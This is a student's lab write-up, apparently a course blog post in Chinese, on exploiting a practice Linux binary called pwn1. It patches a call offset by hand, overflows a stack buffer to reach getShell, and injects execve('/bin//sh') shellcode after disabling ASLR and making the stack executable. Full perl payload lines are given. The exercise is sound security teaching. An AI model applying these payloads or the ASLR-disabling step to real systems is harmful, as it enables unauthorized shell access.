2019-2020-2 20174325叶竞蔚《网络对抗学习》Exp1 PC平台逆向破解
实验目标
·本次实验对象是一个名为pwn1的linux可执行文件。
·该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
·该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
实验内容
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
知识需求
- 熟悉Linux基本操作。常用指令,如管道(|),输入、输出重定向(>)等。
- 理解Bof的原理。汇编、机器指令、EIP、指令地址。
- 会使用gdb,vi。
- 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码。
<i> NOP——空操作——“0x90”
<ii> JNE(Jump if Not Equal)——条件跳转——“0x75”
<iii> JE(Jump if Equal)——条件跳转——”0x74“
<iv> JMP——无条件跳转——“0xEB”(rel8相对短跳转)、“0xE9”(rel16相对跳转)、"0xEA"(ptr1 6:16、per1 6:32远距离绝对跳转)、"0xFF"(r/m16、r/m32绝对跳转;m16:16、m16:32远距离绝对跳转)
<v> CMP——比较指令——“0x39”
- 掌握反汇编objdump -d 174325pwn1与十六进制编程器。
实验步骤
在实验的最开始最开始我们先从老师给的附件中将所需的pwn文件下载下来,并通过VMware tools将文件复制进虚拟机中。
且重命名将其含有自己学号。
任务一手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
1.对pwn1文件进行反汇编。
因为考虑到过程中可能会有其他的需要或者是出错,所以我先对174325-pwn1文件进行了备份cp 174325-pwn1 174325pwn2
而后对174325-pwn1文件反汇编 objdump -d 174325-pwn1
第一列为内存地址,第二列为机器指令、第三列为机器指令对应的汇编语言。
从主函数中我们可以找到执行跳转的语句call 8048491<foo>以及它对应的机器指令e8 d7 ff ff ff
<i> e8为call指令中的机器指令,跳转。
<ii> d7 ff ff ff则为要跳转的地址。
从刚刚的主函数中可知当前eip的值为80484ba,所以新eip地址=当前eip地址+相对偏移地址=80484ba + d7ffffff = 8048491,正好是foo函数地址。
同时由上图得知getshell函数的地址为0804847d。
2.计算跳转地址并修改机器指令。
getshell函数地址为0804847d,foo函数地址为08048491。
修改机器指令,使它从指向“08048491”改为指向“0804847d”
由于d7 ff ff ff是一段补码,其值d7=08048491-080484ba,修改跳转地址则是使其从指向foo函数变为指向getshell函数,偏移量变为0804847d-080484ba
计算得机器指令修改为c3 ff ff ff
3.修改174325-pwn1文件。
用vi编辑器打开174325-pwn1文件,乱码。
<i> 输入:%!xxd将其转换为十六进制编辑形式
<ii> 输入/e8 d7快速查找需要修改的地址
<iii> 将d7更改为c3
<iv> 输入:%!xxd -r将文件转换成原乱码形式,再输入:wq保存,退出
<v> 对174325-pwn1再次进行反汇编,查看机器指令确认修改结果。
4.运行174325-pwn1。
shell启动成功。
任务二利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
1.反汇编174325:pwn1并找到foo函数。
<i> 由此可知foo函数有0x1c(28字节)的缓冲区
<ii> 正常情况下call调用foo函数,堆栈上返回地址是0x80484ba
2.输入字符串,确认哪些字符会覆盖返回地址。
<i> 用gdb 174325:pwn2调试程序,输入r开始运行
<ii> 构造并输入字符串1111111122222222333333334444444455555555
<iii> 程序报告Segmentation fault,发生错误溢出
<iv> 再输入info r,查看寄存器eip值
可知覆盖返回地址的字符是5555。
3.构造输入字符串。
<i> 将getshell地址0804847d作为我们覆盖字符
<ii> 输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input,input生成一个包含字符串的文件,将地址存储到input文件中(\x0a表示回车)
<iii> 输入xxd input,使用十六进制查看指令查看input文件内容
4.input输入运行文件。
输入(cat input; cat) | ./174325:pwn1,将input
中的字符串内容通过"|"管道作为可执行文件输入
shell启动成功。
任务三注入一个自己制作的shellcode并运行这段shellcode。
1.安装execstack。
2.修改设置。
<i> 输入execstack -s 174325@pwn1,设置堆栈可执行
<ii> 输入execstack -q 174325@pwn1
,查询文件的堆栈是否可执行
<iii> 输入more /proc/sys/kernel/randomize_va_space
,查看地址随机化的状态
<iv> 输入echo "0" > /proc/sys/kernel/randomize_va_space,关闭地址随机化
<v> 输入more /proc/sys/kernel/randomize_va_space
3.构造payload。
<i> 输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
<ii> 注入攻击buf(cat input_shellcode;cat) | ./174325@pwn1
4.启用gdb进行调试。
<i> 用另一个终端查看174325@pwn1的进程ps -ef | grep 174325@pwn1
进程id为33140。
<ii> 启动gdb调试进程,attach 33140与33140进程建立连接
<iii> 输入disassemble foo,对foo函数进行反汇编
发现断在0x080484ae
<iv> 输入break
*0x080484ae
,
设置断点,查看注入
buf
的内存地址
<v> 回到第一个终端按下回车
<vi> 返回调试终端,输入c以继续
<vii> 输入info r esp,查看栈顶指针所在位置
01020304位置在0xffffd37c,shellcode高其4个字节地址,即0xffffd380.
5.重新构造攻击buf。
输入perl -e 'print "A" x 32;print "\xa0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
攻击成功。
任务四什么是漏洞?漏洞有什么危害?
<i> 我认为漏洞可以分为两种。第一种是由于程序设计员的不严谨,设计时的不足而导致的程序错误;第二种是由于系统本身缺陷而导致的不可更改型错误。
<ii> 计算机易受到黑客的攻击使文件被窃取或更改,系统本身易遭受病毒。
实验收获与感想
首先这个实验与以往做过的实验有很大的一个不同点,就是这次的实验,我做了快一整天。
通过这个实验,让我对linux的基本命令的应用更加熟悉与深刻。且此次试验中,感受最深的一点就是学会了如何反向思考,在此次试验的三种实验方式里,困难程度依次递增,在操作的过程中我感受到了耐心的重要性,是对于我的一个极大的考验,感谢这次实验。
posted on 2020-03-15 03:01 aliengirlyz 阅读(225) 评论(0) 编辑 收藏 举报